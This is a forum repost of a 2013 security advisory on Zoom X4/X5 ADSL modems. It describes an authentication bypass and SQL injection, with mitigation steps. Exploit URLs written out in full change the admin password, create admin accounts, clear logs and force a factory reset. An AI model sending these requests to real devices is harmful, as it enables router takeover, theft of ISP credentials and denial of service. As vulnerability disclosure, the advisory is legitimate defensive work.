Matt Posted July 10, 2013 Report Posted July 10, 2013 Description : Zoom X4 and X5 modems suffers from authentication bypass and remote SQL injection vulnerabilities.Author : Kyle LovettSource : Zoom X4 / X5 SQL Injection / Authentication Bypass ? Packet StormCode : Vulnerable Products -Zoom X4 ADSL Modem and Router running Nucleus/4.3UPnP/1.0Virata-EmWeb/R6_2_0 Server All GS Firmware versionsZoom X5 ADSL Modem and Router running Nucleus/4.3UPnP/1.0Virata-EmWeb/R6_2_0 Server All GS Firmware versionsNote: A similar vulnerability was reported several years ago on theZoom X3 ADSL Modem using a SOAP API call. Many of thesevulnerabilities affect X3 in the same manner, without needing to use aSOAP API.===================================Vulnerability-When UPnP services and WAN http administrative access are enabled,authorization and credential challenges can be bypassed by directlyaccessing root privileged abilities via a web browser URL.All aspects of the modem/router can be changed, altered and controlledby an attacker, including gaining access to and changing the PPPoe/PPPISP credentials.====================================Timeline with Vendor-Have had no response from Zoom Telephonics since first reporting theproblem on June 28. Subsequent emails have been sent with no response.Root Cause Observed--As in most IGD UPnP routers and modems, where root vulnerabilitiesare prevalent, these modems contain the same privileged tunnel betweeneither side of the router to be traversed without authentication. Thecode and layout of the device plays a large role as well.Code/Script Vulnerabilities--Form tags and actions ids usually hidden are easily seen from thehtml source, no sanitization of client side input is occurring androot overrides such as 'Zadv=1' can be invoked by any user.-No cookie authentication is done once several of the first bypass isexecuted, allowing for "Cookie: sessionId=invalid" to pass admin commands.-The SQL injection UNION SELECT 1,2,3,4,5,6,7-- added to the end ofany URL page calling a table value, such as /MainPage?id=25, willbring up the system status page, with each interface visible andselectable.Patches or Fixes-At this time, there are no known patches or fixes.Vulnerability proofs and examples-All administrative items can be accessed through these two URLs--Menu Bannerhttp://<IP>/hag/pages/toc.htm-Advanced Options Menuhttp://<IP>/hag/pages/toolbox.htmExample commands that can be executed remotely through a web browserURL, or a modified HTTP GET/POST requests--Change Password for admin AccountOn Firmware 2.5 or lowerhttp://<IP>/hag/emweb/PopOutUserModify.htm/FormOne&user=admin&ex_param1=admin&new_pass1=123456&new_pass2=123456&id=3&cmdSubmit=Save+ChangesOn Firmware 3.0-http://<IP>/hag/emweb/PopOutUserModify.htm?id=40&user=admin&Zadv=1&ex_param1=admin&new_pass1=123456&new_pass2=123456&id=3&cmdSubmit=Save+Changes-Clear Logshttp://<IP>/Action?id=76&cmdClear+Log=Clear+Log-Remote Reboot to Default Factory Settings-Warning - For all intents and purposes, this action will almost alwaysresult in a long term Denial of Service attack.http://<IP>/Action?reboot_loc=1&id=5&cmdReboot=Reboot-Create New Admin or Intermediate Account-On Firmware 2.5 or lowerhttp://<IP>/hag/emweb/PopOutUserAdd.htm?id=70&user_id="newintermediateaccount"&priv=v2&pass1="123456"&pass2="123456"&cmdSubmit=Save+ChangesOn Firmware 3.0-http://<IP>/hag/emweb/PopOutUserAdd.htm?id=70&Zadv=1&ex_param1=adminuser_id="newadminaccount"&priv=v1&pass1="123456"&pass2="123456"&cmdSubmit=Save+ChangesMitigation and Workarounds-Adv.Options --> UPnP --> --> Disable UPnP --> Write Settings to Flash --> RebootAdv.Options --> Firewall Configuration --> Enable 'Attack Protection''DOS Proctection''Black List'--> Write Settings to FlashAdv.Options --> Management Control --> Disable WAN Management from allfields --> Write Settings to FlashAlways change the default Username and Password, though this willnothelp mitigate this vulnerability Quote